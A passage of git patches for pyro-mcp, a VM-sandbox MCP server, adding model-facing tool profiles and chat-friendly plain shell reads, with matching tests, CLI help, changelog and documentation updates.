_enabled("workspace_file_read"): + + @server.tool() + async def workspace_file_read( + workspace_id: str, + path: str, + max_bytes: int = 65536, + ) -> dict[str, Any]: + """Read one regular text file from a live workspace path.""" + return self.read_workspace_file( + workspace_id, + path, + max_bytes=max_bytes, + ) + + if _enabled("workspace_file_write"): + + @server.tool() + async def workspace_file_write( + workspace_id: str, + path: str, + text: str, + ) -> dict[str, Any]: + """Create or replace one regular text file under `/workspace`.""" + return self.write_workspace_file( + workspace_id, + path, + text=text, + ) + + if _enabled("workspace_patch_apply"): + + @server.tool() + async def workspace_patch_apply( + workspace_id: str, + patch: str, + ) -> dict[str, Any]: + """Apply a unified text patch inside one live workspace.""" + return self.apply_workspace_patch( + workspace_id, + patch=patch, + ) + + if _enabled("workspace_disk_export"): + + @server.tool() + async def workspace_disk_export( + workspace_id: str, + output_path: str, + ) -> dict[str, Any]: + """Export the raw stopped workspace rootfs image to one host path.""" + return self.export_workspace_disk(workspace_id, output_path=output_path) + + if _enabled("workspace_disk_list"): + + @server.tool() + async def workspace_disk_list( + workspace_id: str, + path: str = "/workspace", + recursive: bool = False, + ) -> dict[str, Any]: + """Inspect one stopped workspace rootfs path without booting the guest.""" + return self.list_workspace_disk( + workspace_id, + path=path, + recursive=recursive, + ) + + if _enabled("workspace_disk_read"): + + @server.tool() + async def workspace_disk_read( + workspace_id: str, + path: str, + max_bytes: int = 65536, + ) -> dict[str, Any]: + """Read one regular file from a stopped workspace rootfs offline.""" + return self.read_workspace_disk( + workspace_id, + path, + max_bytes=max_bytes, + ) + + if _enabled("snapshot_create"): + + @server.tool() + async def snapshot_create(workspace_id: str, snapshot_name: str) -> dict[str, Any]: + """Create one named workspace snapshot from the current `/workspace` tree.""" + return self.create_snapshot(workspace_id, snapshot_name) + + if _enabled("snapshot_list"): + + @server.tool() + async def snapshot_list(workspace_id: str) -> dict[str, Any]: + """List the baseline plus named snapshots for one workspace.""" + return self.list_snapshots(workspace_id) + + if _enabled("snapshot_delete"): + + @server.tool() + async def snapshot_delete(workspace_id: str, snapshot_name: str) -> dict[str, Any]: + """Delete one named snapshot from a workspace.""" + return self.delete_snapshot(workspace_id, snapshot_name) + + if _enabled("workspace_reset"): + + @server.tool() + async def workspace_reset( + workspace_id: str, + snapshot: str = "baseline", + ) -> dict[str, Any]: + """Recreate a workspace and restore `/workspace` from one snapshot.""" + return self.reset_workspace(workspace_id, snapshot=snapshot) + + if _enabled("shell_open"): + + @server.tool() + async def shell_open( + workspace_id: str, + cwd: str = "/workspace", + cols: int = 120, + rows: int = 30, + secret_env: dict[str, str] | None = None, + ) -> dict[str, Any]: + """Open a persistent interactive shell inside one workspace.""" + return self.open_shell( + workspace_id, + cwd=cwd, + cols=cols, + rows=rows, + secret_env=secret_env, + ) + + if _enabled("shell_read"): + + @server.tool() + async def shell_read( + workspace_id: str, + shell_id: str, + cursor: int = 0, + max_chars: int = 65536, + ) -> dict[str, Any]: + """Read merged PTY output from a workspace shell.""" + return self.read_shell( + workspace_id, + shell_id, + cursor=cursor, + max_chars=max_chars, + ) + + if _enabled("shell_write"): + + @server.tool() + async def shell_write( + workspace_id: str, + shell_id: str, + input: str, + append_newline: bool = True, + ) -> dict[str, Any]: + """Write text input to a persistent workspace shell.""" + return self.write_shell( + workspace_id, + shell_id, + input=input, + append_newline=append_newline, + ) + + if _enabled("shell_signal"): + + @server.tool() + async def shell_signal( + workspace_id: str, + shell_id: str, + signal_name: str = "INT", + ) -> dict[str, Any]: + """Send a signal to the shell process group.""" + return self.signal_shell( + workspace_id, + shell_id, + signal_name=signal_name, + ) + + if _enabled("shell_close"): + + @server.tool() + async def shell_close(workspace_id: str, shell_id: str) -> dict[str, Any]: + """Close a persistent workspace shell.""" + return self.close_shell(workspace_id, shell_id) + + if _enabled("service_start"): + + @server.tool() + async def service_start( + workspace_id: str, + service_name: str, + command: str, + cwd: str = "/workspace", + ready_file: str | None = None, + ready_tcp: str | None = None, + ready_http: str | None = None, + ready_command: str | None = None, + ready_timeout_seconds: int = 30, + ready_interval_ms: int = 500, + secret_env: dict[str, str] | None = None, + published_ports: list[dict[str, int | None]] | None = None, + ) -> dict[str, Any]: + """Start a named long-running service inside a workspace.""" + readiness: dict[str, Any] | None = None + if ready_file is not None: + readiness = {"type": "file", "path": ready_file} + elif ready_tcp is not None: + readiness = {"type": "tcp", "address": ready_tcp} + elif ready_http is not None: + readiness = {"type": "http", "url": ready_http} + elif ready_command is not None: + readiness = {"type": "command", "command": ready_command} + return self.start_service( + workspace_id, + service_name, + command=command, + cwd=cwd, + readiness=readiness, + ready_timeout_seconds=ready_timeout_seconds, + ready_interval_ms=ready_interval_ms, + secret_env=secret_env, + published_ports=published_ports, + ) + + if _enabled("service_list"): + + @server.tool() + async def service_list(workspace_id: str) -> dict[str, Any]: + """List named services in one workspace.""" + return self.list_services(workspace_id) + + if _enabled("service_status"): + + @server.tool() + async def service_status(workspace_id: str, service_name: str) -> dict[str, Any]: + """Inspect one named workspace service.""" + return self.status_service(workspace_id, service_name) + + if _enabled("service_logs"): + + @server.tool() + async def service_logs( + workspace_id: str, + service_name: str, + tail_lines: int = 200, + all: bool = False, + ) -> dict[str, Any]: + """Read persisted stdout/stderr for one workspace service.""" + return self.logs_service( + workspace_id, + service_name, + tail_lines=tail_lines, + all=all, + ) + + if _enabled("service_stop"): + + @server.tool() + async def service_stop(workspace_id: str, service_name: str) -> dict[str, Any]: + """Stop one running service in a workspace.""" + return self.stop_service(workspace_id, service_name) + + if _enabled("workspace_delete"): + + @server.tool() + async def workspace_delete(workspace_id: str) -> dict[str, Any]: + """Delete a persistent workspace and its backing sandbox.""" + return self.delete_workspace(workspace_id) return server diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index f616f50..cd7964b 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -11,6 +11,7 @@ from typing import Any from pyro_mcp import __version__ from pyro_mcp.api import Pyro +from pyro_mcp.contract import PUBLIC_MCP_PROFILES from pyro_mcp.demo import run_demo from pyro_mcp.ollama_demo import DEFAULT_OLLAMA_BASE_URL, DEFAULT_OLLAMA_MODEL, run_ollama_tool_demo from pyro_mcp.runtime import DEFAULT_PLATFORM, doctor_report @@ -740,24 +741,45 @@ def _build_parser() -> argparse.ArgumentParser: "Run the MCP server after you have already validated the host and " "guest execution with `pyro doctor` and `pyro run`." ), - epilog="Example:\n pyro mcp serve", + epilog=dedent( + """ + Examples: + pyro mcp serve --profile vm-run + pyro mcp serve --profile workspace-core + pyro mcp serve --profile workspace-full + """ + ), formatter_class=_HelpFormatter, ) mcp_subparsers = mcp_parser.add_subparsers(dest="mcp_command", required=True, metavar="MCP") - mcp_subparsers.add_parser( + mcp_serve_parser = mcp_subparsers.add_parser( "serve", help="Run the MCP server over stdio.", description="Expose pyro tools over stdio for an MCP client.", epilog=dedent( """ Example: - pyro mcp serve + pyro mcp serve --profile workspace-core + + Profiles: + vm-run: only the vm_run tool + workspace-core: vm_run plus the practical workspace chat loop + workspace-full: the full stable workspace surface Use this from an MCP client config after the CLI evaluation path works. """ ), formatter_class=_HelpFormatter, ) + mcp_serve_parser.add_argument( + "--profile", + choices=PUBLIC_MCP_PROFILES, + default="workspace-full", + help=( + "Expose only one model-facing tool profile. " + "`workspace-full` preserves the current full MCP surface." + ), + ) run_parser = subparsers.add_parser( "run", @@ -2175,7 +2197,7 @@ def main() -> None: _print_prune_human(prune_payload) return if args.command == "mcp": - pyro.create_server().run(transport="stdio") + pyro.create_server(profile=args.profile).run(transport="stdio") return if args.command == "run": command = _require_command(args.command_args) diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index b224565..9b51acf 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -5,6 +5,8 @@ from __future__ import annotations PUBLIC_CLI_COMMANDS = ("demo", "doctor", "env", "mcp", "run", "workspace") PUBLIC_CLI_DEMO_SUBCOMMANDS = ("ollama",) PUBLIC_CLI_ENV_SUBCOMMANDS = ("inspect", "list", "pull", "prune") +PUBLIC_CLI_MCP_SUBCOMMANDS = ("serve",) +PUBLIC_CLI_MCP_SERVE_FLAGS = ("--profile",) PUBLIC_CLI_WORKSPACE_SUBCOMMANDS = ( "create", "delete", @@ -108,6 +110,7 @@ PUBLIC_CLI_RUN_FLAGS = ( "--allow-host-compat", "--json", ) +PUBLIC_MCP_PROFILES = ("vm-run", "workspace-core", "workspace-full") PUBLIC_SDK_METHODS = ( "apply_workspace_patch", @@ -204,3 +207,23 @@ PUBLIC_MCP_TOOLS = ( "workspace_sync_push", "workspace_update", ) +PUBLIC_MCP_VM_RUN_PROFILE_TOOLS = ("vm_run",) +PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS = ( + "vm_run", + "workspace_create", + "workspace_delete", + "workspace_diff", + "workspace_exec", + "workspace_export", + "workspace_file_list", + "workspace_file_read", + "workspace_file_write", + "workspace_list", + "workspace_logs", + "workspace_patch_apply", + "workspace_reset", + "workspace_status", + "workspace_sync_push", + "workspace_update", +) +PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS = PUBLIC_MCP_TOOLS diff --git a/src/pyro_mcp/server.py b/src/pyro_mcp/server.py index bd094e0..c3a26ea 100644 --- a/src/pyro_mcp/server.py +++ b/src/pyro_mcp/server.py @@ -4,13 +4,17 @@ from __future__ import annotations from mcp.server.fastmcp import FastMCP -from pyro_mcp.api import Pyro +from pyro_mcp.api import McpToolProfile, Pyro from pyro_mcp.vm_manager import VmManager -def create_server(manager: VmManager | None = None) -> FastMCP: +def create_server( + manager: VmManager | None = None, + *, + profile: McpToolProfile = "workspace-full", +) -> FastMCP: """Create and return a configured MCP server instance.""" - return Pyro(manager=manager).create_server() + return Pyro(manager=manager).create_server(profile=profile) def main() -> None: diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 600cb57..0290562 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "3.3.0" +DEFAULT_CATALOG_VERSION = "3.4.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/tests/test_api.py b/tests/test_api.py index 533ad43..2c8fba6 100644 --- a/tests/test_api.py +++ b/tests/test_api.py @@ -6,6 +6,11 @@ from pathlib import Path from typing import Any, cast from pyro_mcp.api import Pyro +from pyro_mcp.contract import ( + PUBLIC_MCP_VM_RUN_PROFILE_TOOLS, + PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, + PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS, +) from pyro_mcp.vm_manager import VmManager from pyro_mcp.vm_network import TapNetworkManager @@ -47,37 +52,54 @@ def test_pyro_create_server_registers_vm_run(tmp_path: Path) -> None: return sorted(tool.name for tool in tools) tool_names = asyncio.run(_run()) - assert "vm_run" in tool_names - assert "vm_create" in tool_names - assert "workspace_create" in tool_names - assert "workspace_list" in tool_names - assert "workspace_update" in tool_names - assert "workspace_start" in tool_names - assert "workspace_stop" in tool_names - assert "workspace_diff" in tool_names - assert "workspace_sync_push" in tool_names - assert "workspace_export" in tool_names - assert "workspace_file_list" in tool_names - assert "workspace_file_read" in tool_names - assert "workspace_file_write" in tool_names - assert "workspace_patch_apply" in tool_names - assert "workspace_disk_export" in tool_names - assert "workspace_disk_list" in tool_names - assert "workspace_disk_read" in tool_names - assert "snapshot_create" in tool_names - assert "snapshot_list" in tool_names - assert "snapshot_delete" in tool_names - assert "workspace_reset" in tool_names - assert "shell_open" in tool_names - assert "shell_read" in tool_names - assert "shell_write" in tool_names - assert "shell_signal" in tool_names - assert "shell_close" in tool_names - assert "service_start" in tool_names - assert "service_list" in tool_names - assert "service_status" in tool_names - assert "service_logs" in tool_names - assert "service_stop" in tool_names + assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS)) + + +def test_pyro_create_server_vm_run_profile_registers_only_vm_run(tmp_path: Path) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + async def _run() -> list[str]: + server = pyro.create_server(profile="vm-run") + tools = await server.list_tools() + return sorted(tool.name for tool in tools) + + assert tuple(asyncio.run(_run())) == PUBLIC_MCP_VM_RUN_PROFILE_TOOLS + + +def test_pyro_create_server_workspace_core_profile_registers_expected_tools_and_schemas( + tmp_path: Path, +) -> None: + pyro = Pyro( + manager=VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + ) + + async def _run() -> tuple[list[str], dict[str, dict[str, Any]]]: + server = pyro.create_server(profile="workspace-core") + tools = await server.list_tools() + tool_map = {tool.name: tool.model_dump() for tool in tools} + return sorted(tool_map), tool_map + + tool_names, tool_map = asyncio.run(_run()) + assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) + create_properties = tool_map["workspace_create"]["inputSchema"]["properties"] + assert "network_policy" not in create_properties + assert "secrets" not in create_properties + exec_properties = tool_map["workspace_exec"]["inputSchema"]["properties"] + assert "secret_env" not in exec_properties + assert "shell_open" not in tool_map + assert "service_start" not in tool_map + assert "snapshot_create" not in tool_map + assert "workspace_disk_export" not in tool_map def test_pyro_vm_run_tool_executes(tmp_path: Path) -> None: diff --git a/tests/test_cli.py b/tests/test_cli.py index c853d75..49e6f75 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -63,6 +63,10 @@ def test_cli_subcommand_help_includes_examples_and_guidance() -> None: mcp_help = _subparser_choice(_subparser_choice(parser, "mcp"), "serve").format_help() assert "Expose pyro tools over stdio for an MCP client." in mcp_help + assert "--profile" in mcp_help + assert "workspace-core" in mcp_help + assert "workspace-full" in mcp_help + assert "vm-run" in mcp_help assert "Use this from an MCP client config after the CLI evaluation path works." in mcp_help workspace_help = _subparser_choice(parser, "workspace").format_help() @@ -3435,7 +3439,8 @@ def test_cli_mcp_runs_stdio_transport(monkeypatch: pytest.MonkeyPatch) -> None: observed: dict[str, str] = {} class StubPyro: - def create_server(self) -> Any: + def create_server(self, *, profile: str) -> Any: + observed["profile"] = profile return type( "StubServer", (), @@ -3444,12 +3449,12 @@ def test_cli_mcp_runs_stdio_transport(monkeypatch: pytest.MonkeyPatch) -> None: class StubParser: def parse_args(self) -> argparse.Namespace: - return argparse.Namespace(command="mcp", mcp_command="serve") + return argparse.Namespace(command="mcp", mcp_command="serve", profile="workspace-core") monkeypatch.setattr(cli, "_build_parser", lambda: StubParser()) monkeypatch.setattr(cli, "Pyro", StubPyro) cli.main() - assert observed == {"transport": "stdio"} + assert observed == {"profile": "workspace-core", "transport": "stdio"} def test_cli_demo_default_prints_json( diff --git a/tests/test_public_contract.py b/tests/test_public_contract.py index 0add351..6009d66 100644 --- a/tests/test_public_contract.py +++ b/tests/test_public_contract.py @@ -16,6 +16,8 @@ from pyro_mcp.contract import ( PUBLIC_CLI_COMMANDS, PUBLIC_CLI_DEMO_SUBCOMMANDS, PUBLIC_CLI_ENV_SUBCOMMANDS, + PUBLIC_CLI_MCP_SERVE_FLAGS, + PUBLIC_CLI_MCP_SUBCOMMANDS, PUBLIC_CLI_RUN_FLAGS, PUBLIC_CLI_WORKSPACE_CREATE_FLAGS, PUBLIC_CLI_WORKSPACE_DIFF_FLAGS, @@ -54,6 +56,7 @@ from pyro_mcp.contract import ( PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS, PUBLIC_CLI_WORKSPACE_SYNC_SUBCOMMANDS, PUBLIC_CLI_WORKSPACE_UPDATE_FLAGS, + PUBLIC_MCP_PROFILES, PUBLIC_MCP_TOOLS, PUBLIC_SDK_METHODS, ) @@ -99,6 +102,14 @@ def test_public_cli_help_lists_commands_and_run_flags() -> None: env_help_text = _subparser_choice(parser, "env").format_help() for subcommand_name in PUBLIC_CLI_ENV_SUBCOMMANDS: assert subcommand_name in env_help_text + mcp_help_text = _subparser_choice(parser, "mcp").format_help() + for subcommand_name in PUBLIC_CLI_MCP_SUBCOMMANDS: + assert subcommand_name in mcp_help_text + mcp_serve_help_text = _subparser_choice(_subparser_choice(parser, "mcp"), "serve").format_help() + for flag in PUBLIC_CLI_MCP_SERVE_FLAGS: + assert flag in mcp_serve_help_text + for profile_name in PUBLIC_MCP_PROFILES: + assert profile_name in mcp_serve_help_text workspace_help_text = _subparser_choice(parser, "workspace").format_help() for subcommand_name in PUBLIC_CLI_WORKSPACE_SUBCOMMANDS: diff --git a/tests/test_server.py b/tests/test_server.py index 2f1b9e3..9571dcd 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -7,6 +7,11 @@ from typing import Any, cast import pytest import pyro_mcp.server as server_module +from pyro_mcp.contract import ( + PUBLIC_MCP_VM_RUN_PROFILE_TOOLS, + PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, + PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS, +) from pyro_mcp.server import create_server from pyro_mcp.vm_manager import VmManager from pyro_mcp.vm_network import TapNetworkManager @@ -25,42 +30,37 @@ def test_create_server_registers_vm_tools(tmp_path: Path) -> None: return sorted(tool.name for tool in tools) tool_names = asyncio.run(_run()) - assert "vm_create" in tool_names - assert "vm_exec" in tool_names - assert "vm_list_environments" in tool_names - assert "vm_network_info" in tool_names - assert "vm_run" in tool_names - assert "vm_status" in tool_names - assert "workspace_create" in tool_names - assert "workspace_list" in tool_names - assert "workspace_update" in tool_names - assert "workspace_start" in tool_names - assert "workspace_stop" in tool_names - assert "workspace_diff" in tool_names - assert "workspace_export" in tool_names - assert "workspace_file_list" in tool_names - assert "workspace_file_read" in tool_names - assert "workspace_file_write" in tool_names - assert "workspace_patch_apply" in tool_names - assert "workspace_disk_export" in tool_names - assert "workspace_disk_list" in tool_names - assert "workspace_disk_read" in tool_names - assert "workspace_logs" in tool_names - assert "workspace_sync_push" in tool_names - assert "shell_open" in tool_names - assert "shell_read" in tool_names - assert "shell_write" in tool_names - assert "shell_signal" in tool_names - assert "shell_close" in tool_names - assert "service_start" in tool_names - assert "service_list" in tool_names - assert "service_status" in tool_names - assert "service_logs" in tool_names - assert "service_stop" in tool_names - assert "snapshot_create" in tool_names - assert "snapshot_delete" in tool_names - assert "snapshot_list" in tool_names - assert "workspace_reset" in tool_names + assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS)) + + +def test_create_server_vm_run_profile_registers_only_vm_run(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + async def _run() -> list[str]: + server = create_server(manager=manager, profile="vm-run") + tools = await server.list_tools() + return sorted(tool.name for tool in tools) + + assert tuple(asyncio.run(_run())) == PUBLIC_MCP_VM_RUN_PROFILE_TOOLS + + +def test_create_server_workspace_core_profile_registers_expected_tools(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + async def _run() -> list[str]: + server = create_server(manager=manager, profile="workspace-core") + tools = await server.list_tools() + return sorted(tool.name for tool in tools) + + assert tuple(asyncio.run(_run())) == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) def test_vm_run_round_trip(tmp_path: Path) -> None: @@ -193,6 +193,91 @@ def test_server_main_runs_stdio_transport(monkeypatch: pytest.MonkeyPatch) -> No assert called == {"transport": "stdio"} +def test_workspace_core_profile_round_trip(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("old\n", encoding="utf-8") + + def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + async def _run() -> tuple[dict[str, Any], ...]: + server = create_server(manager=manager, profile="workspace-core") + created = _extract_structured( + await server.call_tool( + "workspace_create", + { + "environment": "debian:12-base", + "allow_host_compat": True, + "seed_path": str(source_dir), + "name": "chat-loop", + "labels": {"issue": "123"}, + }, + ) + ) + workspace_id = str(created["workspace_id"]) + written = _extract_structured( + await server.call_tool( + "workspace_file_write", + { + "workspace_id": workspace_id, + "path": "note.txt", + "text": "fixed\n", + }, + ) + ) + executed = _extract_structured( + await server.call_tool( + "workspace_exec", + { + "workspace_id": workspace_id, + "command": "cat note.txt", + }, + ) + ) + diffed = _extract_structured( + await server.call_tool("workspace_diff", {"workspace_id": workspace_id}) + ) + export_path = tmp_path / "exported-note.txt" + exported = _extract_structured( + await server.call_tool( + "workspace_export", + { + "workspace_id": workspace_id, + "path": "note.txt", + "output_path": str(export_path), + }, + ) + ) + reset = _extract_structured( + await server.call_tool("workspace_reset", {"workspace_id": workspace_id}) + ) + deleted = _extract_structured( + await server.call_tool("workspace_delete", {"workspace_id": workspace_id}) + ) + return created, written, executed, diffed, exported, reset, deleted + + created, written, executed, diffed, exported, reset, deleted = asyncio.run(_run()) + assert created["name"] == "chat-loop" + assert created["labels"] == {"issue": "123"} + assert written["bytes_written"] == len("fixed\n".encode("utf-8")) + assert executed["stdout"] == "fixed\n" + assert diffed["changed"] is True + assert Path(str(exported["output_path"])).read_text(encoding="utf-8") == "fixed\n" + assert reset["command_count"] == 0 + assert deleted["deleted"] is True + + def test_workspace_tools_round_trip(tmp_path: Path) -> None: manager = VmManager( backend_name="mock", diff --git a/uv.lock b/uv.lock index 3944d11..209a741 100644 --- a/uv.lock +++ b/uv.lock @@ -706,7 +706,7 @@ crypto = [ [[package]] name = "pyro-mcp" -version = "3.3.0" +version = "3.4.0" source = { editable = "." } dependencies = [ { name = "mcp" }, From 21a88312b6260c1d5e784b64c4fac4430ae3d39c Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Fri, 13 Mar 2026 01:10:26 -0300 Subject: [PATCH 29/49] Add chat-friendly shell read rendering Make workspace shell reads usable as direct chat-model input without changing the PTY or cursor model. This adds optional plain rendering and idle-window batching across CLI, SDK, and MCP while keeping raw reads backward-compatible. Implement the rendering and wait-for-idle logic in the manager layer so the existing guest/backend shell transport stays unchanged. The new helper strips ANSI and other terminal control noise, handles carriage-return overwrite and backspace, and preserves raw cursor semantics even when plain output is requested. Refresh the stable shell docs/examples to recommend --plain --wait-for-idle-ms 300, mark the 3.5.0 roadmap milestone done, and bump the package/catalog version to 3.5.0. Validation: uv lock; UV_CACHE_DIR=.uv-cache make check; UV_CACHE_DIR=.uv-cache make dist-check; real guest-backed Firecracker smoke covering shell open/write/read with ANSI plus delayed output. --- CHANGELOG.md | 10 ++ README.md | 15 +- docs/first-run.md | 8 +- docs/install.md | 9 +- docs/integrations.md | 2 +- docs/public-contract.md | 7 +- docs/roadmap/llm-chat-ergonomics.md | 6 +- .../3.5.0-chat-friendly-shell-output.md | 2 +- examples/python_shell.py | 8 +- examples/python_workspace.py | 8 +- pyproject.toml | 2 +- src/pyro_mcp/api.py | 8 + src/pyro_mcp/cli.py | 21 ++- src/pyro_mcp/contract.py | 8 +- src/pyro_mcp/vm_environments.py | 2 +- src/pyro_mcp/vm_manager.py | 107 +++++++++++- src/pyro_mcp/workspace_shell_output.py | 116 +++++++++++++ tests/test_api.py | 20 ++- tests/test_cli.py | 31 +++- tests/test_vm_manager.py | 156 ++++++++++++++++++ tests/test_workspace_shell_output.py | 36 ++++ uv.lock | 2 +- 22 files changed, 539 insertions(+), 45 deletions(-) create mode 100644 src/pyro_mcp/workspace_shell_output.py create mode 100644 tests/test_workspace_shell_output.py diff --git a/CHANGELOG.md b/CHANGELOG.md index da17211..e641fc9 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,16 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 3.5.0 + +- Added chat-friendly shell reads with `--plain` and `--wait-for-idle-ms` across the CLI, + Python SDK, and MCP server so PTY sessions can be fed back into a chat model without + client-side ANSI cleanup. +- Kept raw cursor-based shell reads intact for advanced clients while adding manager-side + output rendering and idle batching on top of the existing guest/backend shell transport. +- Updated the stable shell examples and docs to recommend `workspace shell read --plain + --wait-for-idle-ms 300` for model-facing interactive loops. + ## 3.4.0 - Added stable MCP/server tool profiles with `vm-run`, `workspace-core`, and diff --git a/README.md b/README.md index c5841da..7b56dad 100644 --- a/README.md +++ b/README.md @@ -22,7 +22,7 @@ It exposes the same runtime in three public forms: - Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 3.4.0: [CHANGELOG.md#340](CHANGELOG.md#340) +- What's new in 3.5.0: [CHANGELOG.md#350](CHANGELOG.md#350) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -59,7 +59,7 @@ What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS -Catalog version: 3.4.0 +Catalog version: 3.5.0 ... [pull] phase=install environment=debian:12 [pull] phase=ready environment=debian:12 @@ -189,7 +189,7 @@ uvx --from pyro-mcp pyro env list Expected output: ```bash -Catalog version: 3.4.0 +Catalog version: 3.5.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -282,7 +282,7 @@ pyro workspace reset WORKSPACE_ID pyro workspace export WORKSPACE_ID src/note.txt --output ./note.txt pyro workspace shell open WORKSPACE_ID --secret-env API_TOKEN pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' -pyro workspace shell read WORKSPACE_ID SHELL_ID +pyro workspace shell read WORKSPACE_ID SHELL_ID --plain --wait-for-idle-ms 300 pyro workspace shell close WORKSPACE_ID SHELL_ID pyro workspace service start WORKSPACE_ID web --secret-env API_TOKEN --ready-file .web-ready -- sh -lc 'touch .web-ready && while true; do sleep 60; done' pyro workspace service start WORKSPACE_ID worker --ready-file .worker-ready -- sh -lc 'touch .worker-ready && while true; do sleep 60; done' @@ -305,14 +305,15 @@ Persistent workspaces start in `/workspace` and keep command history until you d machine consumption, add `--json` and read the returned `workspace_id`. Use `--seed-path` when you want the workspace to start from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive instead of an empty workspace. Use `pyro workspace sync push` when you want to import -later host-side changes into a started workspace. Sync is non-atomic in `3.4.0`; if it fails +later host-side changes into a started workspace. Sync is non-atomic in `3.5.0`; if it fails partway through, prefer `pyro workspace reset` to recover from `baseline` or one named snapshot. Use `pyro workspace diff` to compare the live `/workspace` tree to its immutable create-time baseline, and `pyro workspace export` to copy one changed file or directory back to the host. Use `pyro workspace snapshot *` and `pyro workspace reset` when you want explicit checkpoints and full-sandbox recovery. Use `pyro workspace exec` for one-shot non-interactive commands inside a live workspace, and `pyro workspace shell *` when you need a -persistent PTY session that keeps interactive shell state between calls. Use +persistent PTY session that keeps interactive shell state between calls. Prefer +`pyro workspace shell read --plain --wait-for-idle-ms 300` for chat-facing shell reads. Use `pyro workspace service *` when the workspace needs one or more long-running background processes. Typed readiness checks prefer `--ready-file`, `--ready-tcp`, or `--ready-http`; keep `--ready-command` as the escape hatch. Service metadata and logs live outside `/workspace`, so the @@ -518,7 +519,7 @@ Persistent workspace tools: - `service_logs(workspace_id, service_name, tail_lines=200)` - `service_stop(workspace_id, service_name)` - `shell_open(workspace_id, cwd="/workspace", cols=120, rows=30, secret_env=null)` -- `shell_read(workspace_id, shell_id, cursor=0, max_chars=65536)` +- `shell_read(workspace_id, shell_id, cursor=0, max_chars=65536, plain=False, wait_for_idle_ms=None)` - `shell_write(workspace_id, shell_id, input, append_newline=true)` - `shell_signal(workspace_id, shell_id, signal_name="INT")` - `shell_close(workspace_id, shell_id)` diff --git a/docs/first-run.md b/docs/first-run.md index cf41d68..d943ed4 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -22,7 +22,7 @@ Networking: tun=yes ip_forward=yes ```bash $ uvx --from pyro-mcp pyro env list -Catalog version: 3.4.0 +Catalog version: 3.5.0 debian:12 [installed|not installed] Debian 12 environment with Git preinstalled for common agent workflows. debian:12-base [installed|not installed] Minimal Debian 12 environment for shell and core Unix tooling. debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. @@ -182,9 +182,9 @@ $ uvx --from pyro-mcp pyro workspace shell open WORKSPACE_ID --secret-env API_TO $ uvx --from pyro-mcp pyro workspace shell write WORKSPACE_ID SHELL_ID --input 'pwd' [workspace-shell-write] workspace_id=... shell_id=... state=running cwd=/workspace cols=120 rows=30 execution_mode=guest_vsock -$ uvx --from pyro-mcp pyro workspace shell read WORKSPACE_ID SHELL_ID +$ uvx --from pyro-mcp pyro workspace shell read WORKSPACE_ID SHELL_ID --plain --wait-for-idle-ms 300 /workspace -[workspace-shell-read] workspace_id=... shell_id=... state=running cursor=0 next_cursor=... truncated=False execution_mode=guest_vsock +[workspace-shell-read] workspace_id=... shell_id=... state=running 